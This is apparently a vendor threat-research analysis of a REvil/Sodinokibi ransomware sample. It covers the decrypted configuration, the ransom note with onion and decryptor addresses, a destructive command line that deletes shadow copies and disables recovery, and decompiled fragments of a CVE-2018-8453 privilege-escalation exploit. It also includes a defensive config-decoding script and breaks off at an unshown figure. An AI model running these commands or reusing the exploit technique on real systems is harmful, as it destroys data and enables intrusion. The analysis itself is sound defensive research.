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Threat Spotlight: REvil/Sodinokibi Ransomware

Sodinokibi is a new ransomware that has infected thousands of clients through managed security service providers (MSSPs). It also exploited vulnerabilities in remote services such as Oracle WebLogic (CVE-2019-2725) and employed mass spam campaigns to proliferate during the Spring of 2019.

BlackBerry® Cylance®'s Professional Services team recently observed an attack where the attackers leveraged Go2Assist via an MSSP to break into a customer's environment and deployed Passcape’s password recovery tool to steal credentials, before establishing a remote desktop connection via RDP into a domain controller, as well as connecting to the victim's Symantec server and disabling it.

This paper contains fresh analysis of a related Sodinokibi sample uncovered by the BlackBerry Cylance threat research team.

Technical Analysis

File

MD5

e6566f78abf3075ebea6fd037803e176

SHA256

861bc212241bcac9f8095c8de1b180b398057cbb2d37c9220086ffaf24ba9e08

Size

160 KB (164,864 bytes)

File type

PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Alias

Sodinokibi, Sodin, REvil

Compile time

2019-06-10 15:29:32


Features

  • File encryption using curve25519/Salsa20
  • Key encryption using curve25519/AES-256-CTR
  • Use of two public keys to encrypt the victim’s private key (possibly meaning that there are two entities that can decrypt the files independently)
  • Use of pseudo-random generation algorithm based on AES for encryption keys, IVs and URLs
  • C2 obfuscation via large domain list (1079 domains)
  • Asymmetric key scheduling algorithm prevents need for C2
  • Disables recovery and deletes volume shadow copies
  • Exploits CVE-2018-8453 to perform privilege escalation
  • Uses "Heaven's Gate" method to execute 64-bit exploit code under a 32-bit process (on 64-bit operating systems)
  • Avoids executing on certain systems depending on the language code (largely related to former USSR countries)

Behavior Overview

Upon execution, Sodinokibi will create a mutex with a hardcoded name Global\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0 and decrypt an embedded configuration.

If the exp parameter in the configuration is set, the malware will attempt to exploit CVE-2018-8453 in order to gain SYSTEM privileges (see the “Privilege escalation” section for more details). If not configured to execute the exploit, or if the attempt is unsuccessful, it will instead try to re-run itself as an administrator.

Sodinokibi gathers some basic system information and saves it to the registry together with the generated encryption parameters. If the dbg option is not set in the config, the UI language and keyboard layout values are checked, and the malware will simply exit on systems which use one of the following language codes:

Code

Language

0x818

Romanian

0x419

Russian

0x819

Russian (Moldova)

0x422

Ukrainian

0x423

Belarusian

0x425

Estonian*

0x426

Latvian*

0x427

Lithuanian*

0x428

Tajik

0x429

Persian*

0x42B

Armenian

0x42C

Azeri

0x437

Georgian

0x43F

Kazakh

0x440

Kygyz

0x442

Turkmen

0x443

Uzbek

0x444

Tatar

0x45A

Syrian

0x2801

Arabic (Syria)

Figure 1: Excluded languages

* The malware will exit only if the keyboard layout value belongs to these countries, but the OS language value is equal to one of the remaining languages.

If the system language is not one of the excluded languages, Sodinokibi will terminate all processes specified by the prc value in the config and delete volume shadow copies before starting the file encryption routine.


cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures

Figure 2: Command-line to delete volume shadow copies and disable recovery

The ransomware will then proceed to encrypt all files on local drives, skipping files and folders included on the config’s exception list. Unless the executable was run with -nolan command line parameter, the malware will also attempt to encrypt files on network shares. The file encryption routine is discussed in detail in the “File encryption” section.

Each encrypted file will be renamed by adding a previously generated pseudo-random extension, which is stored in the rnd_ext value in the registry. A README file will be dropped in each directory and the background wallpaper will be set with a ransom message:


Figure 3: Desktop wallpaper and README file on an infected machine

The contents of the README file, as well as the ransom message, are again specified in the config.  The key requested by the attackers is a combination of the victim’s system information and generated encryption metadata (needed to derive the decryption keys for the files), AES encrypted and base64 encoded (see “File encryption” section for more details).

Other parameters from the configuration that affect the malware’s behavior are wipe (if set, all the files in folders listed under wfld will be zeroed out and deleted) and net (if set, the ransomware will broadcast the victim's system information to a range of domains listed in the dmn value in the config).

String Encryption and Configuration

All strings are encrypted with RC4 using a random key of variable length and are decrypted on-the-fly before use. The key differs for each string and is stored prior the encrypted string in the binary:

.text:00401B1D                 lea     eax, [ebp+var_4]
.text:00401B20                 push    eax             ; out buffer
.text:00401B21                 push    3               ; string len
.text:00401B23                 push    0Eh             ; RC4 key len
.text:00401B25                 push    923h            ; RC4 key offset
.text:00401B2A                 push    offset encstr_1 ; encrypted string table
.text:00401B2F                 call    decrypt_string  ; "exp"

Figure 4: String decryption

The configuration is also RC4 encrypted and is stored together with a 32-byte decryption key, configuration checksum and length value in a randomly named section prior to the .reloc section in the binary:

.s7bz:0041E000 ; Section 4. (virtual address 0001E000)
.s7bz:0041E000 ; Virtual size                  : 0000C800 (  51200.)
.s7bz:0041E000 ; Section size in file          : 0000C800 (  51200.)
.s7bz:0041E000 ; Offset to raw data for section: 0001B600
.s7bz:0041E000 ; Flags C0000040: Data Readable Writable
.s7bz:0041E000 ; Alignment     : default
.s7bz:0041E000 ; 
===========================================================================
.s7bz:0041E000
.s7bz:0041E000 ; Segment type: Pure data
.s7bz:0041E000 ; Segment permissions: Read/Write
.s7bz:0041E000 _s7bz           segment para public 'DATA' use32
.s7bz:0041E000                 assume cs:_s7bz
.s7bz:0041E000                 ;org 41E000h
.s7bz:0041E000 cfg_rc4key      db 68h, 38h, 35h, 72h, 68h, 54h, 56h, 58h, 61h, 76h, 4Dh, 45h
.s7bz:0041E000                                         ; DATA XREF: decrypt_config+40↑o
.s7bz:0041E000                 db 6Ah, 58h, 4Ah, 78h, 75h, 58h, 4Dh, 35h, 50h, 70h, 4Dh, 71h
.s7bz:0041E000                 db 42h, 4Ah, 38h, 76h, 38h, 4Dh, 4Dh, 51h
.s7bz:0041E020 cfg_hash        dd 0AE445D33h           ; DATA XREF: decrypt_config+17↑r
.s7bz:0041E024 cfg_len         dd 25742                ; DATA XREF: decrypt_config+1↑r
.s7bz:0041E024                                         ; decrypt_config+24↑r ...
.s7bz:0041E028 enc_cfg         db 0B5h, 14h, 0C7h, 67h, 5Dh, 0C9h, 0EDh, 29h, 0CAh, 73h, 7Bh, 7
.s7bz:0041E028                                         ; DATA XREF: decrypt_config+7↑o
.s7bz:0041E028                 db 22h, 0AAh, 0E4h, 12h, 73h, 3Bh, 8Dh, 0A6h, 0C2h, 6Fh, 16h, 2Ch

Figure 5: Encrypted configuration and RC4 key in randomly named section

Once decrypted, the configuration is described using JavaScript Object Notation (JSON):

{
  "dbg": false,
  "dmn": "",
  "exp": true,
  "fast": true,
  "img": "",
  "nbody": "",
  "net": true,
  "nname": "{EXT}-readme.txt",
  "pid": "33",
  "pk": "/SvNLPYVd04yhjQWFntNHZ0bsHYz2DzRIF+HjkQuTmE=",
  "prc": [
    "sqlagent.exe",
    "sqbcoreservice.exe",
    "mysqld_opt.exe",
    "synctime.exe",
    "excel.exe",
    "thebat64.exe",
    "onenote.exe",
    "tbirdconfig.exe",
    "powerpnt.exe",
    "xfssvccon.exe",
    "oracle.exe",
    "infopath.exe",
    "mydesktopqos.exe",
    "dbsnmp.exe",
    "sqlbrowser.exe",
    "mysqld.exe",
    "sqlservr.exe",
    "wordpad.exe",
    "thebat.exe",
    "agntsvc.exe",
    "thunderbird.exe",
    "encsvc.exe",
    "ocomm.exe",
    "winword.exe",
    "msaccess.exe",
    "dbeng50.exe",
    "firefoxconfig.exe",
    "isqlplussvc.exe",
    "ocssd.exe",
    "visio.exe",
    "mydesktopservice.exe",
    "sqlwriter.exe",
    "ocautoupds.exe",
    "mysqld_nt.exe",
    "msftesql.exe",
    "mspub.exe",
    "outlook.exe",
    "steam.exe"
  ],
  "sub": "331",
  "wfld": [
    "backup"
  ],
  "wht": {
    "ext": [
      "shs",
      "bin",
      "msp",
      "hta",
      "mod",
      "wpx",
      "msi",
      "sys",
      "ics",
      "cmd",
      "rtp",
      "nomedia",
      "scr",
      "cur",
      "prf",
      "msu",
      "nls",
      "icl",
      "ps1",
      "bat",
      "lnk",
      "theme",
      "adv",
      "deskthemepack",
      "diagcab",
      "msc",
      "lock",
      "key",
      "ocx",
      "hlp",
      "msstyles",
      "mpa",
      "diagcfg",
      "icns",
      "rom",
      "dll",
      "com",
      "idx",
      "cab",
      "exe",
      "spl",
      "drv",
      "themepack",
      "diagpkg",
      "ani",
      "386",
      "ico",
      "ldf",
      "cpl"
    ],
    "fld": [
      "boot",
      "msocache",
      "programdata",
      "$windows.~ws",
      "tor browser",
      "program files (x86)",
      "$recycle.bin",
      "google",
      "$windows.~bt",
      "intel",
      "windows",
      "windows.old",
      "mozilla",
      "system volume information",
      "perflogs",
      "application data",
      "appdata",
      "program files"
    ],
    "fls": [
      "desktop.ini",
      "autorun.inf",
      "ntldr",
      "bootsect.bak",
      "ntuser.dat",
      "boot.ini",
      "thumbs.db",
      "bootfont.bin",
      "ntuser.dat.log",
      "iconcache.db",
      "ntuser.ini"
    ]
  },
  "wipe": true
}

Figure 6: JSON configuration file


All of your files are encrypted!

Find {EXT}-readme.txt and follow instructions

Figure 7: Base64 decoded img value from the configuration

---=== Welcome. Again. ===---

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.

[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!
  a) Download and install TOR browser from this site: https://torproject.org/
  b) Open our website: hxxxp:// aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd [dot] onion/{UID}

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:

  a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
  b) Open our secondary website: hxxxp:// decryptor [dot] top/{UID}

Warning: secondary website can be blocked, thats why first variant much better and more available.

When you open our website, put the following data in the input form:
Key:

{KEY}

Extension name:

{EXT}

-----------------------------------------------------------------------------------------

!!! DANGER !!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.
!!! !!! !!!

ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
!!! !!! !!!

Figure 8: Base64 decoded nbody value from the configuration

Key

Type

Description

prc

Array of strings

Process names to terminate

dmn

String

Semi-colon separated list of domain names

img

String (Base64 encoded)

Message to display on desktop wallpaper

pid

String (Integer)

Actor ID

sub

String (Integer)

Campaign ID

fast

Boolean

Enable fast mode (encrypt only the first 1 MB of each file)

wfld

Array of strings

Folders to wipe

wht

Object

Whitelist

wht.fld

Array of strings

Folders to whitelist from encryption

wht.fls

Array of strings

Files to whitelist from encryption

wht.ext

Array of strings

File extensions to whitelist from encryption

dbg

Boolean

Debug mode. If set, don't check for keyboard layout

exp

Boolean

Enable privilege escalation “exploit” (CVE-2018-8453)

pk

String (Base64 encoded)

Attacker’s public encryption key (256-bit)

net

Boolean

Send HTTP POST request to domains

wipe

Boolean

If true, then wipe files in specified folders

nname

String (Base64 encoded)

Readme filename

nbody

String (Base64 encoded)

Readme file contents

Figure 9: Configuration field details

We wrote a configuration decoder that should work with the currently known versions of Sodinokibi. The script requires Python scandir and pefile modules:

"""Extract Sodinokibi ransomware configuration from a given exe/folder of exes"""
import os
import sys
import scandir

import pefile
import string
import struct
import json

def
rc4(key, enc_data):
    dec = ""
    enc = []
    enclen = len(enc_data)

    keylen = len(key)
    rc4key = [ord(c) for c in key]
    for i in range(enclen):
        enc.append(ord(enc_data[i]))

    s = range(256)
    j = 0
    for i in range(256):
        j = (j + s[i] + rc4key[i % keylen]) % 256
        s[i], s[j] = s[j], s[i]

    i = 0
    j = 0
    keystream = []
    for i in range(enclen):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) % 256]
        keystream.append(k)

    for e, k in zip(enc, keystream):
        dec += chr(e ^ k)     

    return dec

def extract_sodinokibi_config(filename):
    print(filename)
    try:
        pe = pefile.PE(filename)

        section = pe.sections[3]
        data = section.get_data()
        enc_len = struct.unpack('I', data[0x24:0x28])[0]
        dec_data = rc4(data[0:32], data[0x28:enc_len + 0x28])

        print(json.dumps(json.loads(filter(lambda x: x in string.printable, dec_data)), indent=2, sort_keys=True))
    except Exception as e:
        print("ERROR - {}".format(e))

def main():
    if os.path.isdir(sys.argv[1]):
            for root, dirs, files in scandir.walk(sys.argv[1]):
                for file in files:
                    extract_sodinokibi_config(os.path.join(root, file))
    else:
        extract_sodinokibi_config(sys.argv[1])

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        pass

Figure 10: Python script for decoding configuration

Privilege Escalation

If the exp (exploit) value in the config is set to "true", and the file timestamps of win32k.sys and win32kfull.sys are below 2018/09/11-00:00:00, the malware will attempt to exploit a vulnerability in win32k.sys (CVE-2018-8453) in order to perform privilege escalation to elevate to SYSTEM, before running the ransomware routine. Both 32-bit and 64-bit versions of the exploit code are stored inside the .rdata section of the binary and depending on the system architecture one of these code portions will be copied to a readable/writable/executable (RWX) memory region and executed.

Then things get very interesting. Despite being a 32-bit application, Sodinokibi contains both 32 and 64-bit exploit code. When Sodinokibi detects that it is running as a 32-bit process on a 64-bit system, it will utilize a seldom seen technique called "Heaven's Gate" to transition to 64-bit mode, and repeatedly switch in and out of 32/64-bit mode whilst running portions of the exploit code. The actual transition is also interesting, in that it calls into the middle of an opcode (push 0x00cb0033) to trigger the switch from 32 to 64-bit mode.

In the code below, the x86_to_x64 function will preserve the code-selector (CS) register on the stack (which will be 0x23 for x86 mode). After calling into the Heaven's_Gate function, the value 0x00CB0033 is pushed to the stack, and the next call instruction will call into the middle of the push opcode, starting at the 0xCB byte, which corresponds to a retf opcode.

The retf differs from a regular ret opcode in that it will not only pop the return address off the stack, but also a new CS value, in this case 0x33. With the new CS value in place, the segment-selector will now point to a different GDT entry that has a bit set to specify that it is an x64 code descriptor, and execution will then resume after the final call instruction in 64-bit mode. Returning from 64-bit mode back to 32-bit is a simple reverse operation using a retf with the 32-bit CS (0x23) and EIP on the stack:

debug032:00075DF0 x86_to_x64 proc near
debug032:00075DF0 push    ebp
debug032:00075DF1 mov     ebp, esp
debug032:00075DF3 push    ebx
debug032:00075DF4 push    esi
debug032:00075DF5 push    edi
debug032:00075DF6 push    cs                       ; Preserve x86 CS
debug032:00075DF7 call    heavens_gate
debug032:00075DFC pop     edi
debug032:00075DFD pop     esi
debug032:00075DFE pop     ebx
debug032:00075DFF leave
debug032:00075E00 retn
debug032:00075E00 x86_to_x64 endp
debug032:00075E00
debug032:00075E01 heavens_gate:                          
debug032:00075E01 push    0CB0033h                 ; 0xCB = retf, 0x33 = new CS (x64)
debug032:00075E06 call    near ptr heavens_gate+3debug032:00075E0B inc     ecx                      ; Execution resumes in x64 mode

Figure 11: Heaven's Gate

Regardless of the x86/64 code path taken, and the fact that the x64 code requires considerably more loading (as it has to walk the imports for Sodinokibi and load all libraries and resolve all imports), both the x86/64 exploit code ultimately operate in a relatively similar manner, broadly in line with previous research from Kaspersky, although containing subtle differences to heap feng shui routines and certain class names.

The exploit ultimately operates by hooking functions in the KernelCallbackTable (fnDWORD, fnNCDESTROY, and fnINLPCREATESTRUCT):


Figure 12: Hooks in KernelCallbackTable

The exploit code first creates a window named "sysshadow", as well as a scrollbar:

int __stdcall CreateScrollBarWindowProc(HWND hWndParent, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
  LPVOID v1; // esi
  DWORD dwClassLong; // eax

  v1 = TlsGetValue(dwTlsIndex);
  if ( v1 )
  {
    if ( uMsg == 1 )
    {
      *((_DWORD *)v1 + 64) = CreateWindowExA(0, ”SCROLLBAR”, 0, 0x50000001u, 0, 0, 0, 0, hWndParent, 0, hInstance, 0);
      dwClassLong = GetClassLongA(hWndParent, GCL_STYLE);
      SetClassLongA(hWndParent, GCL_STYLE, dwClassLong | 0x20000);
    }
    else
    {
      if ( uMsg != 2 )
        return NtdllDefWindowProc_A(hWndParent, uMsg, wParam, lParam);
      PostQuitMessage(0);
    }
  }
  return 0;
}

Figure 13: Scrollbar creation

After which it sets the window position under the fnINLPCREATESTRUCT hook:

int __stdcall fnINLPCREATESTRUCT_hook_x86(int a1)
{
  _DWORD *v1; // esi
  int v2; // ebx
  BOOL v3; // eax
  CHAR ClassName; // [esp+8h] [ebp-104h]

  v1 = TlsGetValue(dwTlsIndex);
  if ( v1 )
  {
    if ( a1 )
    {
      if ( GetCurrentThreadId() == v1[53] )
      {
        v2 = **(_DWORD **)(a1 + 24);
        if ( GetClassNameA(**(HWND **)(a1 + 24), &ClassName, 260) )
        {
          if ( !v1[65] )
          {
            if ( strcmpi(&ClassName, ”sysshadow”) )
            {
              if ( strcmpi(&ClassName, ” msctfime ui”) )
                return fnINLPCREATESTRUCT(a1);
              v3 = 1;
            }
            else
            {
              v1[65] = v2;
              v3 = v1[79] == 0;
            }
            if ( v3 )
              set_window_pos(v1);
          }
        }
      }
    }
  }
  return fnINLPCREATESTRUCT (a1);
}

Figure 14: fnINLPCREATESTRUCT hook

The fnDWORD hook is trigged by issuing a left mouse click to the scrollbar:


PostMessageA(*((HWND *)lpThreadParameter + 64), WM_LBUTTONDOWN, 1u, 1);
 


From within the fnDWORD hook, the scrollbar is ultimately freed…

DWORD __stdcall fnDWORD_hook_x86(int a1)
{
  int v1; // ebx
  DWORD result; // eax
  _DWORD *v3; // esi
  HWND v4; // [esp-8h] [ebp-Ch]

  v1 = *(unsigned __int16 *)(a1 + 4);
  if ( (_WORD)v1 == 647 )
  {
    a1 = 0;
    return NtCallbackReturn(&a1, 12, 0);
  }
  v3 = TlsGetValue(dwTlsIndex);
  if ( !v3 )
    goto LABEL_14;
  result = GetCurrentThreadId();
  if ( result != v3[53] || !*((_BYTE *)v3 + 332) || v3[51] )
    goto LABEL_14;
  if ( !v3[80] || v1 != 31 )
  {
    if ( version_sth_0 < 16 && v1 == 6 )
      set_window_pos(v3);
    if ( v1 == 112 )
    {
      v4 = (HWND)v3[62];
      *((_BYTE *)v3 + 332) = 2;
      SetActiveWindow(v4);
      SendMessageA((HWND)v3[62], WM_SYSCOMMAND, SC_KEYMENU, 0);
      DestroyWindow((HWND)v3[64]);
      *((_BYTE *)v3 + 332) = 4;
    }
LABEL_14:
    result = fnDWORD(a1);
  }
  return result;
}

Figure 15: fnDWORD hook

… leading to the fnNCDESTROY hook gaining execution, where calling NtUserSetWindowFNID erroneously allows the free'd scrollbar to be marked as a button (instead of free). This causes the "sysshadow" window to retain a reference to the free'd memory:

_WORD *__stdcall fnNCDESTROY_hook_x86(_DWORD **a1)
{
    <snip>

    SendMessageA(v20, WM_CANCELMODE, 0, 0);
    v17 = (HWND *)(v4 + 681);
    do
    {
      SetClassLongW(*v17, GCL_MENUNAME, 0);
      v17 += 5;
      --v11;
    }
    while ( v11 );
    v18 = (HWND *)(v4 + 6825);
    v19 = 128;
    do
    {
      *(_DWORD *)(v4 + 8) = v23++;
      SetClassLongW(*v18, GCL_MENUNAME, v4);
      v18 += 4;
      --v19;
    }
    while ( v19 );
    result = v22;
    v1 = 1;
    v8 = v21;
  }
  if ( v8 == *(_DWORD *)(v4 + 260) && *result == (unsigned __int16)FNID_FREED && !*(_DWORD *)(v4 + 324) )
  {
    result = (_WORD *)NtUserSetWindowFNID(*(_DWORD *)(v4 + 244), FNID_BUTTON);
    *(_DWORD *)(v4 + 324) = result;
    v1 = 1;
  }
  if ( !v1 )
  {
    v3 = a1;
LABEL_26:
    result = (_WORD *)fnNCDESTROY(v3);
  }
  return result;
}

Figure 16: fnNCDESTROY hook

Heap feng shui is then triggered from a windows event hook when the EVENT_OBJECT_DESTROY event occurs on the scrollbar, in order to reclaim the freed memory:

int __fastcall ntuser_thunked_menu_item_info(_DWORD *a1, int a2, int a3)
{
  int result; // eax
  int *v4; // edi
  int v5; // ebx
  int v6; // [esp-18h] [ebp-5Ch]
  MENUITEMINFOW sMenuItemInfo; // [esp+Ch] [ebp-38h]
  int v8; // [esp+3Ch] [ebp-8h]

  result = 0;
  v8 = a2;
  v4 = a1;
  if ( a3 )
  {
    if ( windows_10_version == 10 )
      v5 = ' ';
    else
      v5 = aDp8lDp8lDp8l_0[7 * windows_10_version + 6];
    j_memset(&sMenuItemInfo, 0, 48);
    sMenuItemInfo.cbSize = sizeof(MENUITEMINFOW);
    sMenuItemInfo.fMask = MIIM_ID;
    sMenuItemInfo.wID = a3 - v5;
    result = NtUserThunkedMenuItemInfo(v4[59], v4[73] + 9, 1, 0, (int)&sMenuItemInfo, 0);
    if ( result )
    {
      sMenuItemInfo.dwItemData = v8;
      v6 = v4[60];
      sMenuItemInfo.fMask = MIIM_DATA;
      result = NtUserThunkedMenuItemInfo(v6, 0, 1, 0, (int)&sMenuItemInfo, 0);
    }
  }
  return result;
}

Figure 17: Portion of heap feng shui code

With the freed memory reclaimed, the exploit then establishes and operates arbitrary kernel memory read/write primitives, which are used to locate the System process token from the EPROCESS structure and copy it to its own EPROCESS structure, resulting in SYSTEM privileges for the ransomware:


Figure 18: Ransomware now running as SYSTEM

Given the complexities of the exploit, heap feng shui, and trigger mechanisms, BlackBerry Cylance researchers aim to explore this further as part of a separate blog article.

File Encryption

In terms of encryption, Sodinokibi uses a symmetric algorithm (Salsa20 for files, AES-256-CTR for registry values and C2 beacons) in conjunction with an asymmetric key exchange method based on the curve25519 implementation.

In the first step, a main curve25519 key pair is generated for the victim. The public key from this pair will later be used to derive the Salsa20 keys for file encryption. The secret/private key (needed for file decryption) is initiated using a fairly sophisticated AES-based PRNG algorithm with a hardcoded seed, and then encrypted with AES-256 in CTR mode and saved to the registry. The AES key used in that process is a SHA3-256 sum of the shared secret derived from the private key of a secondary curve25519 generated key pair and the attacker’s public key stored in the pk section of the configuration.

In fact, the malware stores two versions of the victim’s private key, one which is encrypted with a key derived by using the public key delivered through the config’s pk value, and one which is encrypted using a key derived with the use of a hardcoded public key stored in the binary’s .data section. Both of these values are later appended to each encrypted file, which suggests that the hardcoded public key might have been embedded by the malware developers as a "master key" in order to give them the ability of decrypting files encrypted by affiliates: 

.text:00402416 generate_keys:                          ; CODE XREF: generate_keys_set_reg_values+1A8↑j
.text:00402416                                         ; generate_keys_set_reg_values+1AE↑j ...
.text:00402416                 lea     eax, [ebp+victim_main_privkey]
.text:0040241C                 push    offset victim_main_pubkey
.text:00402421                 push    eax
.text:00402422                 call    generate_curve25519_keypair ; generate victim's main key pair
.text:00402427                 push    20h
.text:00402429                 pop     edi
.text:0040242A                 lea     eax, [ebp+encprivkey_metadata_1_len]
.text:0040242D                 mov     [ebp+victim_pubkey_len], edi
.text:00402430                 push    eax             ; out_len
.text:00402431                 push    edi             ; data_len
.text:00402432                 lea     eax, [ebp+victim_main_privkey]
.text:00402438                 mov     [ebp+attacker_pubkey_len], edi
.text:0040243B                 push    eax             ; datain
.text:0040243C                 push    offset affiliate_pubkey
.text:00402441                 call    curve25519_aes_encrypt ;
.text:00402441                                         ; generate victim's secondary key pair and derive
.text:00402441                                         ; key for AES-256-CTR encryption using curve25519
.text:00402441                                         ; with priv key from this pair & pub key from cfg
.text:00402446                 mov     ebx, eax
.text:00402448                 lea     eax, [ebp+encprivkey_metadata_2_len]
.text:0040244B                 push    eax             ; out_len
.text:0040244C                 push    edi             ; data_len
.text:0040244D                 lea     eax, [ebp+victim_main_privkey]
.text:00402453                 push    eax             ; datain
.text:00402454                 push    offset master_pubkey
.text:00402459                 call    curve25519_aes_encrypt ;
.text:00402459                                         ; generate victim's tertiary key pair and derive
.text:00402459                                         ; key for AES-256-CTR encryption using curve25519
.text:00402459                                         ; with priv key from this pair & pub key from .data
.text:0040245E                 mov     esi, eax
.text:00402460                 lea     eax, [ebp+victim_main_privkey]
.text:00402466                 push    edi
.text:00402467                 push    eax.text:00402468                 call    memset_zero     ; remove victim's main private key from memory

Figure 19: Victim's key generation

Sodinokibi uses an AES-based PRNG algorithm to generate a random extension that will be added to the encrypted files. It also generates a unique victim ID by combining the hash of the value returned by CPUID instruction with the volume serial number.

It then gathers system information (such as username, computer name, TCP/IP domain, OS version and language, CPU architecture, and disk free space) and encrypts it using the same algorithm as for the private key encryption (except in this case yet another hardcoded public key from the .data section is used for AES key derivation).

The following information is saved under either HKLM\SOFTWARE\recfg or HKCU\SOFTWARE\recfg key:

Value Name

Type

Content

0_key

REG_BIN

Master key metadata (includes victim’s main private key, encrypted using the AES key derived from the hardcoded key stored in the binary’s .data section)

sk_key

REG_BIN

Affiliate key metadata (includes the victim’s main private key, encrypted using the AES key derived from the hardcoded key from the config)

pk_key

REG_BIN

Victim’s main public key

sub_key

REG_BIN

Attacker's public key from config

stat

REG_BIN

Victim’s machine information and encryption metadata (encrypted with AES), used as the victim’s key in README file, and for the POST requests

rnd_ext

REG_SZ

Random extension for encrypted files ("." + 5-10 alphanumeric characters)

Figure 20: Registry values set by Sodinokibi

Figure 21: Example registry setup

To speed up the encryption process, Sodinokibi makes use of IO completion ports – a Windows threading model for processing multiple asynchronous I/O requests on a multiprocessor system:

.text:00402C76
.text:00402C76 ; =============== S U B R O U T I N E =======================================
.text:00402C76
.text:00402C76 ; Attributes: bp-based frame
.text:00402C76
.text:00402C76 read_encrypt_write_file_thread proc near
.text:00402C76                                         ; DATA XREF: encrypt_all_files+C↑o
.text:00402C76
.text:00402C76 CompletionKey   = dword ptr -0Ch
.text:00402C76 NumberOfBytesTransferred= dword ptr -8
.text:00402C76 Overlapped_then_cryptostruct= dword ptr -4
.text:00402C76 CompletionPort  = dword ptr  8
.text:00402C76
.text:00402C76                 push    ebp
.text:00402C77                 mov     ebp, esp
.text:00402C79                 sub     esp, 0Ch
.text:00402C7C                 push    esi
.text:00402C7D                 call    find_explorer_ImpersonateLoggedOnUser
.text:00402C82                 mov     esi, [ebp+CompletionPort]
.text:00402C85                 jmp     short GetQueuedCompletionStatus_loop
.text:00402C87 ; ---------------------------------------------------------------------------
.text:00402C87
.text:00402C87 encrypt_files:                          ; CODE XREF: read_encrypt_write_file_thread+AE↓j
.text:00402C87                 test    eax, eax
.text:00402C89                 jz      short PostQueuedCompletionStatus
.text:00402C8B                 push    0
.text:00402C8D                 push    [ebp+NumberOfBytesTransferred]
.text:00402C90                 push    [ebp+Overlapped_then_cryptostruct]
.text:00402C93                 call    adjust_file_offsets
.text:00402C98                 mov     ecx, [ebp+Overlapped_then_cryptostruct]
.text:00402C9B                 add     esp, 0Ch
.text:00402C9E                 mov     eax, [ecx+cryptostruct.io_completion_disposition]
.text:00402CA4                 sub     eax, 0
.text:00402CA7                 jz      short _0_read_file
.text:00402CA9                 sub     eax, 1
.text:00402CAC                 jz      short _1_encrypt_file
.text:00402CAE                 sub     eax, 1
.text:00402CB1                 jz      short _2_write_key_to_file
.text:00402CB3                 sub     eax, 1
.text:00402CB6                 jnz     short GetQueuedCompletionStatus_loop
.text:00402CB8
.text:00402CB8 _3_move_file:                           ; cryptostruct
.text:00402CB8                 push    ecx
.text:00402CB9                 push    esi             ; CompletionPort
.text:00402CBA                 call    do_move_file_add_extension
.text:00402CBF                 jmp     short next

Figure 22: File encryption thread used in IO completion routine

The algorithm used for file encryption is Salsa20, and a 32-byte Salsa key will be generated for each file using a curve25519-based key derivation algorithm, with the input of the previously generated victim’s public key and a private key from a temporary pair of curve25519 keys generated per file:

Figure 23: Salsa20 key generation using curve22519

The following information is appended at the end of each encrypted file:

•  Affiliate key metadata, stored in sk_key in registry (88 bytes):
        o   victim’s main private key, encrypted using AES key derived from the hardcoded key from the config's "pk" value and the victim’s secondary public key (36 bytes)
        o   victim’s secondary public key (from a second pair of curve25519 keys, 32 bytes)    
        o   randomly generated AES IV (16 bytes)
        o   CRC32 of victim’s public key (4 bytes)
•  Master key metadata, stored in 0_key in registry (88 bytes):
        o   victim’s main private key, encrypted using AES key derived from the hardcoded key from .data section and the victim’s tertiary public key
        o   victim’s tertiary public key (from a third pair of curve25519 keys)
        o   randomly generated AES IV
        o   CRC32 of victim’s public key
•  Per-file generated public key (32 bytes)
•  Per-file generated random Salsa20 nonce (8 bytes)
•  CRC32 sum of per-file public key (4 bytes)
•  Value of fast setting from config (0 or 1) (4 bytes)
•  0x0000 encrypted with per-file generated Salsa20 key (4 bytes)

Figure 24: Information appended to the encrypted file

All of the generated private keys, AES/Salsa keys, and shared secrets are zeroed-out in memory immediately after use to prevent the possibility of the victim retrieving any information that might help them recover their files.

The attackers will be able to decrypt the victim’s main private key by applying the same curve25519 shared-key derivation algorithm to compute the AES key it was encrypted with. In order to do that, the attackers can either use the victim’s secondary public key and their own private key that corresponds to the public key from config's pk value, or use the victim’s tertiary public key and their own private key that corresponds to the public key from the binary's .data section. Having the victim’s main private key and all the metadata appended to the end of each file, they will now be able to derive the Salsa20 symmetric keys used to encrypt the files.

Command and Control (C2) Communication

By using an asymmetric key scheduling algorithm, Sodinokibi doesn’t depend on network communication in order to exchange encryption keys with the attackers. The malware can fully operate in offline mode without the risk of the victim retrieving the information needed for file decryption.

It does however implement an optional functionality of reaching out to the C&C – if the net parameter is set in the configuration, a POST request containing the victim’s system information and encryption metadata will be broadcasted to a range of domains listed under the dmn value in the configuration. In most of the samples we saw, that list includes a huge number of legitimate looking domains, most of which seem to be WordPress sites.

For each of these domains a pseudo-random URL will be created using the following format:


https://<domain_from_cfg>/<str_from_list1>/<str_from_list2>/<rand_str>.<ext_from_list3>

Figure 25: Dynamic URL generation template

List 1

List 2

List 3

wp-content

images

jpg

static

pictures

png

content

image

gif

include

temp

 

uploads

tmp

 

news

graphic

 

data

assets

 

admin

pics

 

 

games

 

Figure 26: Extension list used in dynamic URL generation

An example of a generated URL is shown in Figure 27:


